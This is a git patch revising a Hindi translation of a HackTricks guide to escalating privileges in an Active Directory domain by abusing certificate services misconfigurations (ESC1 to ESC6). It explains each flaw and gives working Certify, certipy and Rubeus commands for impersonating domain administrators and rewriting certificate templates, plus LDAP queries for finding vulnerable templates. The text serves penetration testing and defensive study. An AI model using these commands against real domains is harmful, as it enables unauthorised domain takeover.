From 44b4ca24222f4e4513b978f3693da076a857955d Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 13 Jan 2024 15:52:26 +0000 Subject: [PATCH] Translated ['windows-hardening/active-directory-methodology/ad-certifica --- .../ad-certificates/domain-escalation.md | 188 +++++++++--------- 1 file changed, 95 insertions(+), 93 deletions(-) diff --git a/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 1b9ed3caa..5a3238abb 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -6,11 +6,11 @@ HackTricks का समर्थन करने के अन्य तरीके: -* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह -* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. -* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें. +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें. @@ -19,16 +19,16 @@ HackTricks का समर्थन करने के अन्य तरी ### व्याख्या * **Enterprise CA** **निम्न-विशेषाधिकार वाले उपयोगकर्ताओं को नामांकन अधिकार प्रदान करता है** -* **मैनेजर अप्रूवल अक्षम है** +* **मैनेजर अनुमोदन अक्षम है** * **कोई अधिकृत हस्ताक्षर आवश्यक नहीं हैं** * एक अत्यधिक अनुमति वाला **सर्टिफिकेट टेम्प्लेट** सुरक्षा विवरण **निम्न-विशेषाधिकार वाले उपयोगकर्ताओं को सर्टिफिकेट नामांकन अधिकार प्रदान करता है** * **सर्टिफिकेट टेम्प्लेट EKUs को परिभाषित करता है जो प्रमाणीकरण को सक्षम करते हैं**: * _Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), या कोई EKU नहीं (SubCA)._ -* **सर्टिफिकेट टेम्प्लेट CSR में एक subjectAltName निर्दिष्ट करने के लिए अनुरोधकर्ताओं की अनुमति देता है:** -* **AD** एक सर्टिफिकेट के **subjectAltName** (SAN) फ़ील्ड द्वारा निर्दिष्ट पहचान का **उपयोग करेगा** यदि वह **मौजूद है**. नतीजतन, यदि एक अनुरोधकर्ता CSR में SAN निर्दिष्ट कर सकता है, तो अनुरोधकर्ता **किसी के रूप में भी सर्टिफिकेट का अनुरोध कर सकता है** (उदाहरण के लिए, एक डोमेन एडमिन उपयोगकर्ता). सर्टिफिकेट टेम्प्लेट का AD ऑब्जेक्ट **निर्दिष्ट करता है** कि अनुरोधकर्ता **SAN को CSR में निर्दिष्ट कर सकता है** या नहीं, इसके **`mspki-certificate-name-`**`flag` प्रॉपर्टी में. `mspki-certificate-name-flag` प्रॉपर्टी एक **बिटमास्क** है और यदि **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** फ्लैग **मौजूद है**, तो **अनुरोधकर्ता SAN को निर्दिष्ट कर सकता है.** +* **सर्टिफिकेट टेम्प्लेट अनुरोधकर्ताओं को CSR में एक subjectAltName निर्दिष्ट करने की अनुमति देता है:** +* **AD** एक सर्टिफिकेट के **subjectAltName** (SAN) फ़ील्ड द्वारा निर्दिष्ट पहचान का **उपयोग करेगा** यदि वह **मौजूद है**. नतीजतन, यदि एक अनुरोधकर्ता CSR में SAN निर्दिष्ट कर सकता है, तो अनुरोधकर्ता **किसी के रूप में भी सर्टिफिकेट का अनुरोध कर सकता है** (उदाहरण के लिए, एक डोमेन एडमिन उपयोगकर्ता). सर्टिफिकेट टेम्प्लेट का AD ऑब्जेक्ट **निर्दिष्ट करता है** कि अनुरोधकर्ता **SAN को निर्दिष्ट कर सकता है** इसके **`mspki-certificate-name-`**`flag` संपत्ति में. `mspki-certificate-name-flag` संपत्ति एक **बिटमास्क** है और यदि **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** फ्लैग **मौजूद है**, तो एक **अनुरोधकर्ता SAN को निर्दिष्ट कर सकता है.** {% hint style="danger" %} -ये सेटिंग्स एक **निम्न-विशेषाधिकार वाले उपयोगकर्ता को मनमाने SAN के साथ एक सर्टिफिकेट का अनुरोध करने की अनुमति देती हैं**, जिससे निम्न-विशेषाधिकार वाला उपयोगकर्ता Kerberos या SChannel के माध्यम से डोमेन में किसी भी प्रिंसिपल के रूप में प्रमाणीकरण कर सकता है. +ये सेटिंग्स एक **निम्न-विशेषाधिकार वाले उपयोगकर्ता को मनमाने SAN के साथ एक सर्टिफिकेट का अनुरोध करने की अनुमति देती हैं**, जिससे निम्न-विशेषाधिकार वाला उपयोगकर्ता Kerberos या SChannel के माध्यम से डोमेन में किसी भी प्रिंसिपल के रूप में प्रमाणित हो सकता है. {% endhint %} यह अक्सर सक्षम किया जाता है, उदाहरण के लिए, उत्पादों या तैनाती सेवाओं को HTTPS सर्टिफिकेट्स या होस्ट सर्टिफिकेट्स को तुरंत उत्पन्न करने की अनुमति देने के लिए. या ज्ञान की कमी के कारण. @@ -40,19 +40,19 @@ HackTricks का समर्थन करने के अन्य तरी **कमजोर सर्टिफिकेट टेम्प्लेट्स को खोजने के लिए** आप चला सकते हैं: ```bash Certify.exe find /vulnerable -certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 +certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` **इस कमजोरी का दुरुपयोग करके एक प्रशासक की नकल करने के लिए** कोई चला सकता है: ```bash Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' ``` तब आप उत्पन्न **प्रमाणपत्र को `.pfx`** प्रारूप में परिवर्तित कर सकते हैं और इसे **Rubeus या certipy का उपयोग करके पुनः प्रमाणीकरण के लिए उपयोग कर सकते हैं**: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Windows बाइनरीज़ "Certreq.exe" और "Certutil.exe" का उपयोग PFX उत्पन्न करने के लिए किया जा सकता है: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Windows बाइनरीज़ "Certreq.exe" और "Certutil.exe" का दुरुपयोग करके PFX उत्पन्न किया जा सकता है: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee इसके अलावा, निम्न LDAP क्वेरी जब AD Forest के कॉन्फ़िगरेशन स्कीमा के खिलाफ चलाई जाती है, तो इसका उपयोग **प्रमाणपत्र टेम्प्लेट्स को गिनने** के लिए किया जा सकता है जिन्हें **अनुमोदन/हस्ताक्षर की आवश्यकता नहीं होती**, जिनमें **Client Authentication या Smart Card Logon EKU** होता है, और जिनमें **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** फ्लैग सक्षम होता है: ``` @@ -72,11 +72,11 @@ Windows बाइनरीज़ "Certreq.exe" और "Certutil.exe" का उ **किसी भी उद्देश्य EKU** एक हमलावर को **किसी भी उद्देश्य** के लिए **सर्टिफिकेट** प्राप्त करने की अनुमति देता है जैसे कि क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड हस्ताक्षर, आदि। ESC3 के लिए उपयोग की गई **वही तकनीक** इसका दुरुपयोग करने के लिए उपयोग की जा सकती है। -**कोई EKUs के बिना सर्टिफिकेट** — एक अधीनस्थ CA सर्टिफिकेट — किसी भी उद्देश्य के लिए दुरुपयोग किया जा सकता है लेकिन **नए सर्टिफिकेट्स को हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है**। इस प्रकार, एक अधीनस्थ CA सर्टिफिकेट का उपयोग करके, एक हमलावर **नए सर्टिफिकेट्स में मनमाने EKUs या फील्ड्स को निर्दिष्ट कर सकता है।** +**कोई EKUs के बिना सर्टिफिकेट** — एक अधीनस्थ CA सर्टिफिकेट — को **किसी भी उद्देश्य** के लिए दुरुपयोग किया जा सकता है लेकिन **नए सर्टिफिकेट्स को हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है**। इस प्रकार, एक अधीनस्थ CA सर्टिफिकेट का उपयोग करके, एक हमलावर **नए सर्टिफिकेट्स में मनमाने EKUs या फील्ड्स को निर्दिष्ट कर सकता है।** -हालांकि, अगर **अधीनस्थ CA** **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है (जो डिफ़ॉल्ट रूप से नहीं होगा), हमलावर **डोमेन प्रमाणीकरण** के लिए काम करने वाले **नए सर्टिफिकेट्स नहीं बना सकता**। फिर भी, हमलावर किसी भी EKU के साथ **नए सर्टिफिकेट्स बना सकता है** और मनमाने सर्टिफिकेट मूल्यों के साथ, जिनका **बहुत** दुरुपयोग हो सकता है (जैसे कोड हस्ताक्षर, सर्वर प्रमाणीकरण, आदि) और नेटवर्क में अन्य एप्लिकेशनों के लिए बड़े प्रभाव हो सकते हैं जैसे कि SAML, AD FS, या IPSec। +हालांकि, अगर **अधीनस्थ CA** **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है (जो डिफ़ॉल्ट रूप से नहीं होगा), तो हमलावर **डोमेन प्रमाणीकरण** के लिए काम करने वाले **नए सर्टिफिकेट्स नहीं बना सकता**। फिर भी, हमलावर किसी भी EKU के साथ **नए सर्टिफिकेट्स बना सकता है** और मनमाने सर्टिफिकेट मूल्यों के साथ, जिनका **बहुत** दुरुपयोग हो सकता है (जैसे कोड हस्ताक्षर, सर्वर प्रमाणीकरण, आदि) और नेटवर्क में अन्य एप्लिकेशनों के लिए बड़े प्रभाव हो सकते हैं जैसे कि SAML, AD FS, या IPSec। -निम्न LDAP क्वेरी जब AD फ़ॉरेस्ट के कॉन्फ़िगरेशन स्कीमा के खिलाफ चलाई जाती है, तो इस परिदृश्य से मेल खाने वाले टेम्प्लेट्स को सूचीबद्ध करने के लिए उपयोग की जा सकती है: +निम्न LDAP क्वेरी का उपयोग AD फ़ॉरेस्ट के कॉन्फ़िगरेशन स्कीमा के खिलाफ चलाने पर इस परिदृश्य से मेल खाने वाले टेम्प्लेट्स को सूचीबद्ध करने के लिए किया जा सकता है: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` @@ -84,27 +84,27 @@ Windows बाइनरीज़ "Certreq.exe" और "Certutil.exe" का उ ### व्याख्या -यह परिदृश्य पहले और दूसरे जैसा है लेकिन **दुरुपयोग** करता है **एक अलग EKU** (Certificate Request Agent) और **2 अलग टेम्प्लेट्स** (इसलिए इसमें 2 सेट आवश्यकताएँ हैं), +यह परिदृश्य पहले और दूसरे जैसा है लेकिन **दुरुपयोग** करता है **एक अलग EKU** (सर्टिफिकेट रिक्वेस्ट एजेंट) और **2 अलग टेम्प्लेट्स** (इसलिए इसमें 2 सेट आवश्यकताएँ हैं), -**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), जिसे Microsoft दस्तावेज़ीकरण में **Enrollment Agent** के रूप में जाना जाता है, एक सिद्धांत को अनुमति देता है **दूसरे उपयोगकर्ता की ओर से एक प्रमाणपत्र के लिए एनरोल करने के लिए**. +**सर्टिफिकेट रिक्वेस्ट एजेंट EKU** (OID 1.3.6.1.4.1.311.20.2.1), जिसे Microsoft दस्तावेज़ीकरण में **एनरोलमेंट एजेंट** के रूप में जाना जाता है, एक सिद्धांत को **एनरोल** करने की अनुमति देता है **एक सर्टिफिकेट के लिए** **दूसरे उपयोगकर्ता की ओर से**. -**“एनरोलमेंट एजेंट”** ऐसे **टेम्प्लेट** में एनरोल होता है और परिणामी **प्रमाणपत्र का उपयोग दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षर करने के लिए करता है**. फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता है**, एक **टेम्प्लेट** में एनरोल होता है जो **“दूसरे की ओर से एनरोल करने की अनुमति देता है”**, और CA एक **प्रमाणपत्र के साथ प्रतिक्रिया करता है जो “दूसरे” उपयोगकर्ता का होता है**. +**“एनरोलमेंट एजेंट”** ऐसे **टेम्प्लेट** में एनरोल होता है और परिणामी **सर्टिफिकेट का उपयोग दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षर करने के लिए करता है**. फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता है**, एनरोल होता है एक **टेम्प्लेट** में जो **“दूसरे की ओर से एनरोल करने की” अनुमति देता है**, और CA एक **सर्टिफिकेट के साथ प्रतिक्रिया करता है जो “दूसरे” उपयोगकर्ता का होता है**. **आवश्यकताएँ 1:** -1. Enterprise CA कम-विशेषाधिकार वाले उपयोगकर्ताओं को एनरोलमेंट अधिकार देता है. +1. एंटरप्राइज CA कम-विशेषाधिकार वाले उपयोगकर्ताओं को एनरोलमेंट अधिकार देता है. 2. मैनेजर अनुमोदन अक्षम है. 3. कोई अधिकृत हस्ताक्षर आवश्यक नहीं हैं. -4. एक अत्यधिक अनुमति वाला प्रमाणपत्र टेम्प्लेट सुरक्षा विवरण कम-विशेषाधिकार वाले उपयोगकर्ताओं को प्रमाणपत्र एनरोलमेंट अधिकार देता है. -5. **प्रमाणपत्र टेम्प्लेट Certificate Request Agent EKU को परिभाषित करता है**. Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) दूसरे सिद्धांतों की ओर से अन्य प्रमाणपत्र टेम्प्लेट्स के लिए अनुरोध करने की अनुमति देता है. +4. एक अत्यधिक अनुमति वाला सर्टिफिकेट टेम्प्लेट सुरक्षा विवरण कम-विशेषाधिकार वाले उपयोगकर्ताओं को सर्टिफिकेट एनरोलमेंट अधिकार देता है. +5. **सर्टिफिकेट टेम्प्लेट सर्टिफिकेट रिक्वेस्ट एजेंट EKU को परिभाषित करता है**. सर्टिफिकेट रिक्वेस्ट एजेंट OID (1.3.6.1.4.1.311.20.2.1) दूसरे सिद्धांतों की ओर से अन्य सर्टिफिकेट टेम्प्लेट्स के लिए अनुरोध करने की अनुमति देता है. **आवश्यकताएँ 2:** -1. Enterprise CA कम-विशेषाधिकार वाले उपयोगकर्ताओं को एनरोलमेंट अधिकार देता है. +1. एंटरप्राइज CA कम-विशेषाधिकार वाले उपयोगकर्ताओं को एनरोलमेंट अधिकार देता है. 2. मैनेजर अनुमोदन अक्षम है. -3. **टेम्प्लेट स्कीमा संस्करण 1 है या 2 से अधिक है और एक Application Policy Issuance Requirement को निर्दिष्ट करता है जिसमें Certificate Request Agent EKU की आवश्यकता होती है.** -4. प्रमाणपत्र टेम्प्लेट एक EKU को परिभाषित करता है जो डोमेन प्रमाणीकरण के लिए अनुमति देता है. -5. CA पर Enrollment agent प्रतिबंध लागू नहीं किए गए हैं. +3. **टेम्प्लेट स्कीमा संस्करण 1 है या 2 से अधिक है और एक एप्लिकेशन पॉलिसी जारी करने की आवश्यकता को निर्दिष्ट करता है जिसमें सर्टिफिकेट रिक्वेस्ट एजेंट EKU की आवश्यकता होती है.** +4. सर्टिफिकेट टेम्प्लेट एक EKU को परिभाषित करता है जो डोमेन प्रमाणीकरण के लिए अनुमति देता है. +5. एनरोलमेंट एजेंट प्रतिबंध CA पर लागू नहीं किए गए हैं. ### दुरुपयोग @@ -112,49 +112,49 @@ Windows बाइनरीज़ "Certreq.exe" और "Certutil.exe" का उ ```bash # Request an enrollment agent certificate Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent -certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName' +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName' # Enrollment agent certificate to issue a certificate request on behalf of # another user to a template that allow for domain authentication Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf -certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx' +certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx' # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -एंटरप्राइज़ सीए उन **उपयोगकर्ताओं** को **सीमित** कर सकते हैं जो **एनरोलमेंट एजेंट प्रमाणपत्र** प्राप्त कर सकते हैं, एजेंट्स किन टेम्प्लेट्स में एनरोल हो सकते हैं, और किन **खातों** की ओर से एनरोलमेंट एजेंट **कार्य कर सकता है** यह `certsrc.msc` `snap-in -> दायाँ क्लिक करके सीए पर -> Properties पर क्लिक करके -> “Enrollment Agents” टैब पर नेविगेट करके` सेट कर सकते हैं। +Enterprise CAs उन **users** को **constrain** कर सकते हैं जो **enrollment agent certificate** प्राप्त कर सकते हैं, उन templates में enrollment **agents enroll** कर सकते हैं, और किन **accounts** की ओर से enrollment agent **act** कर सकते हैं, `certsrc.msc` `snap-in -> right clicking on the CA -> clicking Properties -> navigating` करके “Enrollment Agents” टैब पर जाकर। -हालांकि, सीए की **डिफ़ॉल्ट** सेटिंग है “**एनरोलमेंट एजेंट्स को सीमित न करें**”. जब प्रशासक “एनरोलमेंट एजेंट्स को सीमित करें” को सक्षम करते हैं, तब भी डिफ़ॉल्ट सेटिंग बहुत अधिक अनुमति देने वाली होती है, जो सभी को सभी टेम्प्लेट्स में किसी के रूप में एनरोल करने की अनुमति देती है। +हालांकि, **default** CA सेटिंग है “**Do not restrict enrollment agents**”. जब प्रशासक “Restrict enrollment agents” को सक्षम करते हैं, तब भी default सेटिंग बहुत अधिक अनुमति देने वाली होती है, जो Everyone को सभी templates में किसी के रूप में enroll करने की अनुमति देती है। -## संवेदनशील प्रमाणपत्र टेम्प्लेट एक्सेस कंट्रोल - ESC4 +## Vulnerable Certificate Template Access Control - ESC4 ### **व्याख्या** -**प्रमाणपत्र टेम्प्लेट्स** में एक **सुरक्षा विवरणक** होता है जो यह निर्दिष्ट करता है कि कौन से AD **प्रिंसिपल्स** के पास टेम्प्लेट पर विशिष्ट **अनुमतियां** हैं। +**Certificate templates** में एक **security descriptor** होता है जो यह निर्दिष्ट करता है कि किन AD **principals** के पास template के ऊपर विशिष्ट **permissions** हैं। -यदि एक **हमलावर** के पास पर्याप्त **अनुमतियां** हैं तो वह एक **टेम्प्लेट** को **संशोधित** कर सकता है और **पिछले खंडों** से किसी भी शोषण योग्य **गलत कॉन्फ़िगरेशन** को **बना** सकता है, वह इसका शोषण कर सकता है और **अधिकारों का विस्तार** कर सकता है। +यदि एक **attacker** के पास template को **modify** करने और **create** करने के लिए पर्याप्त **permissions** हैं और **previous sections** से किसी भी exploitable **misconfigurations** को बना सकता है, तो वह इसका लाभ उठा सकता है और **privileges escalate** कर सकता है। -प्रमाणपत्र टेम्प्लेट्स पर दिलचस्प अधिकार: +Certificate templates पर दिलचस्प अधिकार: -* **Owner:** ऑब्जेक्ट पर निहित पूर्ण नियंत्रण, किसी भी गुणधर्म को संपादित कर सकते हैं। -* **FullControl:** ऑब्जेक्ट पर पूर्ण नियंत्रण, किसी भी गुणधर्म को संपादित कर सकते हैं। -* **WriteOwner:** हमलावर-नियंत्रित प्रिंसिपल को मालिक को संशोधित कर सकते हैं। -* **WriteDacl:** एक्सेस कंट्रोल को संशोधित करके हमलावर को FullControl प्रदान कर सकते हैं। -* **WriteProperty:** किसी भी गुणधर्म को संपादित कर सकते हैं +* **Owner:** ऑब्जेक्ट का निहित पूर्ण नियंत्रण, किसी भी properties को संपादित कर सकते हैं। +* **FullControl:** ऑब्जेक्ट का पूर्ण नियंत्रण, किसी भी properties को संपादित कर सकते हैं। +* **WriteOwner:** एक attacker-controlled principal को मालिक को संशोधित कर सकते हैं। +* **WriteDacl**: Access control को संशोधित करके एक attacker को FullControl प्रदान कर सकते हैं। +* **WriteProperty:** किसी भी properties को संपादित कर सकते हैं। ### दुरुपयोग -पिछले जैसे एक privesc का उदाहरण: +पिछले जैसे privesc का एक उदाहरण:
-ESC4 तब होता है जब एक उपयोगकर्ता के पास प्रमाणपत्र टेम्प्लेट पर लिखने की अनुमतियां होती हैं। इसे उदाहरण के लिए ESC1 के लिए संवेदनशील बनाने के लिए प्रमाणपत्र टेम्प्लेट की कॉन्फ़िगरेशन को ओवरराइट करने के लिए दुरुपयोग किया जा सकता है। +ESC4 तब होता है जब किसी user के पास certificate template पर write privileges होते हैं। इसका दुरुपयोग करके certificate template की configuration को overwrite किया जा सकता है ताकि template को ESC1 के लिए vulnerable बनाया जा सके। -जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अनुमतियां हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` एज है। चूंकि यह तकनीक प्रमाणपत्रों से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ पीड़ित के NT हैश को पुनः प्राप्त करने के लिए Certipy के `shadow auto` कमांड की एक छोटी झलक है। +जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अधिकार हैं, लेकिन हमारे user `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` edge है। चूंकि यह तकनीक certificates से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ Certipy के `shadow auto` कमांड का एक छोटा सा झलक है जो पीड़ित के NT hash को प्राप्त करने के लिए है।
-**Certipy** एकल कमांड के साथ प्रमाणपत्र टेम्प्लेट की कॉन्फ़िगरेशन को ओवरराइट कर सकता है। **डिफ़ॉल्ट** रूप से, Certipy कॉन्फ़िगरेशन को ESC1 के लिए संवेदनशील बनाने के लिए **ओवरराइट** करेगा। हम **`-save-old` पैरामीटर को भी निर्दिष्ट कर सकते हैं ताकि पुरानी कॉन्फ़िगरेशन को सहेजा जा सके**, जो हमारे हमले के बाद कॉन्फ़िगरेशन को **पुनः स्थापित** करने के लिए उपयोगी होगा। +**Certipy** एक ही कमांड के साथ certificate template की configuration को overwrite कर सकता है। **default** रूप से, Certipy configuration को overwrite करेगा ताकि इसे **ESC1 के लिए vulnerable** बनाया जा सके। हम **`-save-old` पैरामीटर को भी निर्दिष्ट कर सकते हैं ताकि पुरानी configuration को सहेजा जा सके**, जो हमारे हमले के बाद configuration को **restoring** के लिए उपयोगी होगा। ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -165,30 +165,30 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Vulnerable PKI Object Access Control - ESC5 +## असुरक्षित PKI ऑब्जेक्ट एक्सेस कंट्रोल - ESC5 ### व्याख्या -AD CS की सुरक्षा को प्रभावित कर सकने वाले ACL आधारित संबंधों का जाल व्यापक है। कई **ऑब्जेक्ट्स सर्टिफिकेट** टेम्प्लेट्स और सर्टिफिकेट अथॉरिटी के बाहर भी **पूरे AD CS सिस्टम पर सुरक्षा प्रभाव** डाल सकते हैं। इन संभावनाओं में शामिल हैं (लेकिन सीमित नहीं हैं): +AD CS की सुरक्षा को प्रभावित करने वाले ACL आधारित संबंधों का जाल व्यापक है। कई **ऑब्जेक्ट्स प्रमाणपत्र** टेम्प्लेट्स और प्रमाणपत्र प्राधिकरण स्वयं के बाहर हो सकते हैं जो **पूरे AD CS सिस्टम पर सुरक्षा प्रभाव डाल सकते हैं**। इन संभावनाओं में शामिल हैं (लेकिन सीमित नहीं हैं): * **CA सर्वर का AD कंप्यूटर ऑब्जेक्ट** (उदाहरण के लिए, S4U2Self या S4U2Proxy के माध्यम से समझौता) * **CA सर्वर का RPC/DCOM सर्वर** -* कोई भी **वंशज AD ऑब्जेक्ट या कंटेनर** `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` में (जैसे, सर्टिफिकेट टेम्प्लेट्स कंटेनर, सर्टिफिकेशन अथॉरिटीज कंटेनर, NTAuthCertificates ऑब्जेक्ट, एनरोलमेंट सर्विसेज कंटेनर, आदि।) +* कोई भी **वंशज AD ऑब्जेक्ट या कंटेनर** `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` में (उदाहरण के लिए, प्रमाणपत्र टेम्प्लेट्स कंटेनर, प्रमाणीकरण प्राधिकरण कंटेनर, NTAuthCertificates ऑब्जेक्ट, एनरोलमेंट सर्विसेज कंटेनर, आदि।) -यदि कम-विशेषाधिकार वाला हमलावर इनमें से **किसी पर भी नियंत्रण प्राप्त कर सकता है**, तो हमला शायद **PKI सिस्टम को समझौता कर सकता है**। +यदि कम-विशेषाधिकार वाला हमलावर **इनमें से किसी पर भी नियंत्रण प्राप्त कर सकता है**, तो हमला संभवतः **PKI सिस्टम को समझौता कर सकता है**। ## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### व्याख्या -एक और समान मुद्दा है, जिसे [**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में वर्णित किया गया है, जो **`EDITF_ATTRIBUTESUBJECTALTNAME2`** फ्लैग से संबंधित है। जैसा कि Microsoft वर्णन करता है, “**यदि** यह फ्लैग CA पर **सेट** है, तो **कोई भी अनुरोध** (जब सब्जेक्ट Active Directory® से बनाया गया हो) में **उपयोगकर्ता द्वारा परिभाषित मान** **सब्जेक्ट अल्टरनेटिव नाम** में हो सकते हैं।”\ -इसका मतलब है कि एक **हमलावर** डोमेन **प्रमाणीकरण** के लिए कॉन्फ़िगर किए गए **किसी भी टेम्प्लेट** में नामांकन कर सकता है जो यह भी **अनुमति देता है कि अविशेषाधिकार वाले** उपयोगकर्ता नामांकन कर सकते हैं (उदाहरण के लिए, डिफ़ॉल्ट यूजर टेम्प्लेट) और **सर्टिफिकेट प्राप्त कर सकते हैं** जो हमें डोमेन एडमिन (या **किसी अन्य सक्रिय उपयोगकर्ता/मशीन**) के रूप में **प्रमाणित करने की अनुमति देता है**। +एक और समान मुद्दा है, जिसे [**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में वर्णित किया गया है, जो **`EDITF_ATTRIBUTESUBJECTALTNAME2`** फ्लैग से संबंधित है। जैसा कि Microsoft वर्णन करता है, “**यदि** यह फ्लैग CA पर **सेट** है, **कोई भी अनुरोध** (जब सब्जेक्ट Active Directory® से बनाया गया हो) में **उपयोगकर्ता द्वारा परिभाषित मान** **विषय वैकल्पिक नाम** में हो सकते हैं।”\ +इसका मतलब है कि एक **हमलावर** डोमेन **प्रमाणीकरण** के लिए कॉन्फ़िगर किए गए **किसी भी टेम्प्लेट** में नामांकन कर सकता है जो यह भी **अनुमति देता है कि अविशेषाधिकार** उपयोगकर्ता नामांकन कर सकते हैं (उदाहरण के लिए, डिफ़ॉल्ट उपयोगकर्ता टेम्प्लेट) और **प्रमाणपत्र प्राप्त कर सकते हैं** जो हमें डोमेन एडमिन (या **किसी अन्य सक्रिय उपयोगकर्ता/मशीन**) के रूप में **प्रमाणीकरण** करने की अनुमति देता है। -**नोट**: यहाँ **अल्टरनेटिव नाम** `certreq.exe` के `-attrib "SAN:"` तर्क के माध्यम से CSR में **शामिल किए गए हैं** (अर्थात्, “Name Value Pairs”)। यह ESC1 में **SANs का दुरुपयोग करने की विधि से भिन्न** है क्योंकि यह **खाता जानकारी को सर्टिफिकेट विशेषता में स्टोर करता है बनाम सर्टिफिकेट एक्सटेंशन में**। +**नोट**: यहाँ **वैकल्पिक नाम** `-attrib 